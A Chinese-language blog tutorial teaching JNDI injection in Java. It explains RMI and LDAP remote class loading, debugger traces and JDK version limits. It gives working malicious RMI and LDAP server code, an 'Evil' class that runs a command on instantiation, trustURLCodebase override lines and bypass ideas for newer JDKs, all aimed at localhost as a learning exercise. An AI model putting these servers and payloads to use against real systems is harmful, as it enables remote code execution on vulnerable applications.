0
点赞
收藏
分享

微信扫一扫

从0入门JNDI注入

niboac 2022-03-11 阅读 124
java

前言

log4j后就该早早学的,但是感觉0基础入门实在是有点难度,所以拖了好长时间。这里先给本文立个框架

  1. jndi介绍
  2. RMI动态加载恶意类
  3. jndi注入利用思路
  4. RMI-JNDI注入
  5. LDAP-JNDI注入
  6. 版本及参考

JNDI介绍

​ JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

命名服务

​ 命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务

​ 目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

这里其实就是对这些服务进行了再封装,假如说以前我们访问rmi与ldap等要用的代码等等差别很大,但是多了JNDI这一层后就可以用JNDI的方式轻松访问rmi和ldap等的服务,访问的方式代码形式也基本一样了,目前JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA。这里只分析RMILDAP
在这里插入图片描述

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置。比如在RMI服务器端上可以不直接使用Registry进行bind(绑定)操作,而是使用JNDI统一管理,当然JNDI底层应该还是调用的Registry进行bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务

RMI动态加载恶意类

RMI介绍

RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

RMI使用

Server部署:

Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

列举几个函数

bind:将远程对象绑定到注册中心
rebind:重新绑定一个远程对象
unbind:取消一个过程对象的绑定
list:列出注册中心绑定对象
lookup:在注册中心获取一个远程对象的存根

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

  1. 安装并配置了SecurityManager,(需要自己设置为trust)
  2. java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

JNDI注入思路

这里我们要先知道一个点,通过JNDI可以远程加载对象。并且除了Context.PROVIDER_URL设置的URL外,我们可以在lookup参数中指定URL,例如lookup("rmi://127.0.0.1:1099/test"),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载,所以如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类,但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,所以除非受害者内部就存在漏洞组件及反序列化漏洞,我们才可以构造恶意的序列化对象,返回给客户端去触发漏洞,那如果目标组件不存在反序列化漏洞,就算我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

Reference

​ 为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

Reference(String name)
    为类名为"name"的对象构造一个新的应用
Reference(String name , RefAddr addr)
    为类型为"name"的对象和地址构造一个新引用
Reference(String name, ReAddr addr, String factory,String factoryLocation)
    为类名为"name"的对象,对象工厂的类名和为止以及对象的地址构造一个新的引用
Reference(String name,String factory,String factoryLocation)
    为类名为"name"的对象以及对象工厂的类名和位置构造一个新的应用

整体流程思路也就是

  1. 目标程序调用lookup(String)进行JNDI操作,且参数是用户可控,攻击者传入URL指向自己的恶意RMI/LDAP服务器;
  2. 恶意RMI/LDAP服务器向目标程序返回一个恶意的JNDI引用Reference,该Reference对象包含了攻击者指定的恶意ObjectFactory类的加载地址;
  3. 目标程序解码该JNDI Reference,得到恶意ObjectFactory类的加载地址;
  4. 目标程序从攻击者指定的远程加载地址获取恶意ObjectFactory类的class字节码;
  5. 实例化获取到的恶意ObjectFactory类,ObjectFactory类中的恶意代码得以执行。

理论已经很明白了,接下来实操

RMI-JNDI注入

编写及利用

拿python3开启一个简易的http服务

python -m http.server 8081

在这里插入图片描述

server端(也就是黑客端)我们创建如下Reference类实例,并将其绑定到注册表中:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws Exception{
        //
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference test = new Reference("1","Evil","http://127.0.0.1:8081/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(test);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/test'");
        registry.bind("test",referenceWrapper);
    }
}

在这里插入图片描述
启动
在这里插入图片描述

​ 然后编写一个evil.java恶意类

public class Evil {
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

在这里插入图片描述
​ 最后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器框:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/test");
    }
}

在这里插入图片描述

断点分析

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法,
在这里插入图片描述this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象
在这里插入图片描述RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象
在这里插入图片描述

跟进getReference方法,发现又调用了UnicastRef#invoke ⽅法
在这里插入图片描述
相当于进⾏了⼀次远程⽅法调⽤
在这里插入图片描述
这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)
在这里插入图片描述
于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象
在这里插入图片描述
因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManager##getObjectFactoryFromReference方法获取factory实例
在这里插入图片描述
跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

在这里插入图片描述
在这里插入图片描述
其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例
在这里插入图片描述

版本问题

在这里插入图片描述

rmi在6u132,7u122,8u113之前可以用,此后系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,如需利用还需添加代码

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

接下来操作LDAP+JNDI注入,因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

LDAP-JNDI注入

LDAP一般指轻型目录访问协议(Lightweight Directory Access Protocol),可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作。

编写及利用

需要unboundid-ldapsdk的依赖:

    <dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
    </dependencies>

server是参考marshalsec,修改得到

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

client端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
    }}

恶意类

public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

在这里插入图片描述

版本问题

ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

版本限制

就放一张图吧,原因前面也有解释
在这里插入图片描述
当然在8u191又有大佬们提出了绕过,思路先写出来以后分析

  1. LDAP Server直接返回恶意序列化数据,但是需要目标环境存在Gadget依赖
  2. 使用本地的Factory绕过(主要利用了org.apache.naming.factory.BeanFactory类)

参考JNDI注入解析
参考[Java安全]JNDI注入学习
参考Java安全之JNDI注入

举报

相关推荐

0 条评论